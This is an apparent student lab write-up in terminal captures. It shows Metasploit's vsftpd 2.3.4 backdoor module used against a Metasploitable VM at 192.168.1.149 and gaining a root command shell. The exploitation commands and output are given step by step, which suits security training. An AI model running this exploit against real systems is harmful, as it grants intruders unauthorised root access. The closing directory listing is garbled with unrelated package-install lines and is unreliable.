

## Esercizio Hack Metasploit

```
valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.1.149 netmask 255.255.255.0
[sudo] password for msfadmin:
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 3a:cc:71:bc:bf:1f
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::38cc:71ff:febc:bf1f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3069 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1485 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:215139 (210.0 KB)  TX bytes:147185 (143.7 KB)
          Interrupt:11 Base address:0xc400

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:287 errors:0 dropped:0 overruns:0 frame:0
          TX packets:287 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:114429 (111.7 KB)  TX bytes:114429 (111.7 KB)
```

```
File Azioni Modifica Visualizza Aiuto
/tmp/apt-dpkg-install-ovIWDW/027-kali-wallpapers-2024_2024.4.1_all.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)
ads - 45 encoders - 11 nops
(jc@kali)-[~]
$ msfconsole
Metasploit tip: Use the 'capture' plugin to start multiple
authentication-capturing and poisoning services

IIIIII      dTb.dTb
II          4'  v  'B
II          6.   .P
II          'T;. .;P'
II          'T; ;P'
IIIIII      'YvP'

      .""'.-./\.'""'.
     /  /  /  /  /  /
    /  /  /  /  /  /
   /  /  /  /  /  /
  /  /  /  /  /  /
 /  /  /  /  /  /
/  /  /  /  /  /
.'''.'''.'''.'''.'

Disclose Date Rank Check

I love shells --egypt

[ metasploit v6.4.44-dev 3 excellent No ]
+ -- --=[ 2210 exploits - 1166 auxiliary - 394 post ]
+ -- --=[ 612 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

file by name or index. For example info 0, use 0 or use exp
Metasploit Documentation: https://docs.metasploit.com/

msf6 > 
```

```
File Azioni Modifica Visualizza Aiuto
Metasploit Documentation: https://docs.metasploit.com/

msf6 > serach vsftpd

[-] Unknown command: serach. Did you mean search? Run the help command for more details.
msf6 >
msf6 > search vsftpd

Matching Modules
=====
Disclosure Date Rank Check
# Name Description
-----
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes
VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No
VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > 
```

```
kali@kali: ~
File Azioni Modifica Visualizza Aiuto

VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No
VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] Using configured payload cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.149
rhost => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.250:37697 -> 192.168.1.149:6200) at 2025-01-20 16:49:08 +0100


```

File Azioni Modifica Visualizza Aiuto

```
r bin/tem-monitor (47.2-1kali1) ...
r boot-theme (47.2-1kali1) ...
2 cdrom3) ...
i dev$-java (20240118) ...
etc
home (1+11-2) ...
i initrd-on (1.30.3) ...
i initrd.img (1223) ...
s lib
lost+found
media 4 ...
mnt
i nohup.out) ...
2 opt-php8.2 (8.2.27-1) ...
( proc3) ...
r root3) ...
r sbin... done.
r srv
sys
e test_metasploit
- tmp$ (0.145) ...
t usr-ng-6.11.2-amd64
i var$-java (20240118) ...
vmlinuz
cd /test_metasploit
ls
□
```